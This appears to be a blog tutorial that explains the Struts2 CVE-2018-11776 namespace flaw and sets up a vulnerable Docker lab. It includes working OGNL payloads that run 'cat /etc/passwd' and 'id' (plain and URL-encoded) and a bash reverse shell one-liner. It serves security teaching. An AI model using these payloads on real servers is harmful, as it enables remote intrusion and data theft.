Learn about the Struts2 Remote Code Execution vulnerability CVE-2018-11776, how to exploit and how to create a Proof of Concept (POC) with docker.
As reported in the CVE-2018-11776 description:
Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible Remote Code Execution when using results with no namespace and in same time, its upper action(s) have no or wildcard namespace.
But what is a namespace?
In few words, a namespace in struts is a group of actions. Two actions with the same name can exist in two different namespaces and have different behavior. Let's suppose that we have a web app named "superhero", and after deploying superhero.war we have:
http://localhost:8080/superhero/index.action, where / is the namespace and index.action is the action
or we have:
http://localhost:8080/superhero/superman/fly.action, where /superman is the namespace and fly.action is the action
The problem occurs when the web application uses an action without specifying any namespace or it uses a wildcard namespace like /*. If Struts can't find any namespace for the given action, it will take a user-specified namespace and evaluates it as a OGNL expression, allowing the attacker to exploits a Remote Code Execution / Remote Command Execution on the web application.
OGNL (Object-Graph Navigation Language) is an open-source Expression Language (EL) for Java, which, while using simpler expressions than the full range of those supported by the Java language, allows getting and setting properties, and execution of methods of Java classes. This is important because the exploit payload is nothing than an OGNL expression like this:
${2+2} // return 4
Or to exploit a Remote Code Execution:
${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#[email protected]@getRuntime().exec('cat /etc/passwd').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#[email protected]@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close()
)
}
As you can see, the OGNL above executes cat /etc/passwd
and prints out the standard output buffer of the executed command.
Struts2 CVE-2018-11776 PoC - @x0rz @bohops @vysecurity @securityaffairs @evilsocket @MrTaharAmine @LiveOverflow @Hak5 - https://t.co/VLazHuAfx8
— hook (@hook_s3c) August 24, 2018
Thanks to hook for the awesome work on his POC, please take a look at his repository on github!
We can use the docker container build for cve-2017-5638 and add a custom action.
The first step, pull the docker image:
$ docker pull piesecurity/apache-struts2-cve-2017-5638
Now, start the container exposing the port 8080:
$ docker run -d --name struts2 -p 8080:8080 piesecurity/apache-struts2-cve-2017-5638
Ok, it should be reachable on http://localhost:8080:
Now it's time to edit the /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml file.
First install a text editor like vim:
$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
Add the following string inside <struts>:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
Then add this action inside <package name="default" extends="struts-default">:
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
Once done, restart the container:
$ exit
$ docker restart struts2
Now we have a vulnerable struts2 and an empty namespace that we could replace with an OGNL expression. Let's do a test:
As you can see, after requesting the namespace ${2+2} (with something like http://localhost:8080/${2+2}/date.action) the Location header change to /4/date.action and it means that our OGNL expression has been executed.
Now, I can exploit a Remote Code Execution and a Remote Command Execution using the following payload in order to execute the command id:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
urlencoding the payload it becomes:
%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.
%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getPrope
rty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.
%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27c%27%2C%23cmd%7D%3A%7B
%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.Proce
ssBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%
23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.Se
rvletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%
40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%2
9%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D
The id command is successfully executed on the target webserver.
Obviously, you can get a reverse shell by executing something like "bash -i >& /dev/tcp/192.168.1.2/1337 0>&1" and encoding whitespace with %20, ">" with %3E and "&" with %26:
https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
http://blog.atucom.net/2018/08/apache-struts-2-vulnerability-exploit.html
https://github.com/vulhub/vulhub/tree/master/struts2
Twitter: @Menin_TheMiddle
GitHub: theMiddleBlue
LinkedIn: Andrea Menin